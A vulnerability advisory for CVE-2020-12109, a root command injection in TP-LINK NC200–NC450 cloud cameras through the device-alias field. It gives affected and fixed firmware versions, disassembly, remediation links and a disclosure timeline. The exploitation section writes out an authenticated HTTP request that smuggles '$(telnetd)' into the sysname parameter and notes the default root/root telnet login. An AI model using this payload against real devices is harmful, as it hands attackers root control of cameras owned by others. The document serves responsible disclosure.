TP-LINK Cloud Cameras including products NC200, NC210, NC220, NC230, NC250, NC260, and NC450 suffer from a command injection vulnerability. The issue is located in the swSystemSetProductAliasCheck method of the ipcamera binary (Called when setting a new alias for the device via /setsysname.fcgi), where despite a check on the name length, no other checks are in place in order to prevent shell metacharacters from being introduced. The system name would then be used in swBonjourStartHTTP as part of a shell command where arbitrary commands could be injected and executed as root.
55083492881e98ef2dd06b513cdf658dVulnerability title: TP-LINK Cloud Cameras NCXXX Bonjour Command Injection
Author: Pietro Oliva
CVE: CVE-2020-12109
Vendor: TP-LINK
Product: NC200, NC210, NC220, NC230, NC250, NC260, NC450
Affected version: NC200 <= 2.1.9 build 200225, NC210 <= 1.0.9 build 200304,
NC220 <= 1.3.0 build 200304, NC230 <= 1.3.0 build 200304,
NC250 <= 1.3.0 build 200304, NC260 <= 1.5.2 build 200304,
NC450 <= 1.5.3 build 200304.
Fixed version: NC200 <= 2.1.10 build 200401, NC210 <= 1.0.10 build 200401,
NC220 <= 1.3.1 build 200401, NC230 <= 1.3.1 build 200401,
NC250 <= 1.3.1 build 200401, NC260 <= 1.5.3 build_200401,
NC450 <= 1.5.4 build 200401
Description:
The issue is located in the swSystemSetProductAliasCheck method of the
ipcamera binary (Called when setting a new alias for the device via
/setsysname.fcgi), where despite a check on the name length, no other checks
are in place in order to prevent shell metacharacters from being introduced.
The system name would then be used in swBonjourStartHTTP as part of a shell
command where arbitrary commands could be injected and executed as root.
Impact:
Attackers could exploit this vulnerability to remotely execute commands as root
on affected devices.
Exploitation:
An attacker would first need to authenticate to the web interface and make a
request such as the following (the request contents might change slightly
between cameras):
POST /setsysname.fcgi HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/x-www-form-urlencoded
Cookie: sess=xxxxx
Content-Length: xxxx
sysname=$(telnetd)&token=xxxxx"
In a device where telnetd has not been removed from the release firmware (such
as NC200), this would spawn the telnetd deamon. Default root/root credentials
could then be used to obtain a root shell via telnet.
Evidence:
The disassembly of affected code from an NC200 camera is shown below:
sym.swSystemSetProductAliasCheck:
0x0049f1cc lui gp, 0xa
0x0049f1d0 addiu gp, gp, -0x3ebc
0x0049f1d4 addu gp, gp, t9
0x0049f1d8 addiu sp, sp, -0x28
0x0049f1dc sw ra, (var_24h)
0x0049f1e0 sw fp, (var_20h)
0x0049f1e4 move fp, sp
0x0049f1e8 sw gp, (var_10h)
0x0049f1ec sw a0, (alias_arg)
0x0049f1f0 lw v0, (alias_arg)
0x0049f1f4 nop
,=< 0x0049f1f8 beqz v0, 0x49f218
| 0x0049f1fc nop
| 0x0049f200 lw v0, (alias_arg)
| 0x0049f204 nop
| 0x0049f208 lb v0, (v0)
| 0x0049f20c nop
,==< 0x0049f210 bnez v0, 0x49f224
|| 0x0049f214 nop
|`-> 0x0049f218 addiu v0, zero, 0x42f
|,=< 0x0049f21c b 0x49f258
|| 0x0049f220 sw v0, (arg_18h)
`--> 0x0049f224 lw a0, (alias_arg)
| 0x0049f228 lw t9, -sym.imp.strlen(gp)
| 0x0049f22c nop
| 0x0049f230 jalr t9
| 0x0049f234 nop
| 0x0049f238 lw gp, (arg_10h)
| 0x0049f23c sltiu v0, v0, 0x81
,==< 0x0049f240 bnez v0, 0x49f254
|| 0x0049f244 nop
|| 0x0049f248 addiu v0, zero, 0x430
,===< 0x0049f24c b 0x49f258
||| 0x0049f250 sw v0, (arg_18h)
|`--> 0x0049f254 sw zero, (arg_18h)
`-`-> 0x0049f258 lw v0, (arg_18h)
0x0049f25c move sp, fp
0x0049f260 lw ra, (var_24h)
0x0049f264 lw fp, (var_20h)
0x0049f268 jr ra
0x0049f26c addiu sp, sp, 0x28
swBonjourStartHTTP:
0x0043a008 addiu v0, fp, 0x20
0x0043a00c move a0, v0
0x0043a010 addiu a1, zero, 0x88
0x0043a014 lw t9, -sym.swBonjourGetName(gp) ; <= get the system name in fp+20
0x0043a018 nop
0x0043a01c jalr t9
0x0043a020 nop
0x0043a024 lw gp, (arg_10h)
0x0043a028 addiu v0, fp, 0x20 ; <= put ptr to name in v0
0x0043a02c lw a0, -0x7fdc(gp)
0x0043a030 nop
0x0043a034 addiu a0, a0, 0xd10
; a0 => "mDNSResponderPosix -n \"%s\" -t _http._tcp -p %d -x path=/login.html &"
0x0043a038 move a1, v0 ; <= a1 points to system name
0x0043a03c lw a2, (arg_b0h)
0x0043a040 lw t9, -sym.cmCommand(gp) ; Execute the command
0x0043a044 nop
0x0043a048 jalr t9
0x0043a04c nop
Mitigating factors:
-NC210 Cameras have a filter for "bad chars". This means the payload cannot
contain any of the following characters: dot(.), at(@), dash(-), underscore(_),
whitespace( ), and single quote(').
-Some cameras do not ship with telnetd, so other methods such as using wget or
curl to download a payload from the network might be required to obtain a shell.
Remediation:
Install firmware updates provided by the vendor to fix the vulnerability.
The latest updates can be found at the following URLs:
https://www.tp-link.com/en/support/download/nc200/#Firmware
https://www.tp-link.com/en/support/download/nc210/#Firmware
https://www.tp-link.com/en/support/download/nc220/#Firmware
https://www.tp-link.com/en/support/download/nc230/#Firmware
https://www.tp-link.com/en/support/download/nc250/#Firmware
https://www.tp-link.com/en/support/download/nc260/#Firmware
https://www.tp-link.com/en/support/download/nc450/#Firmware
Disclosure timeline:
29th March 2020 - Vulnerability reported to vendor.
10th April 2020 - Patched firmware provided by vendor for verification.
10th April 2020 - Confirmed the vulnerability was fixed.
29th April 2020 - Firmware updates released to the public.
29th April 2020 - Vulnerability details are made public.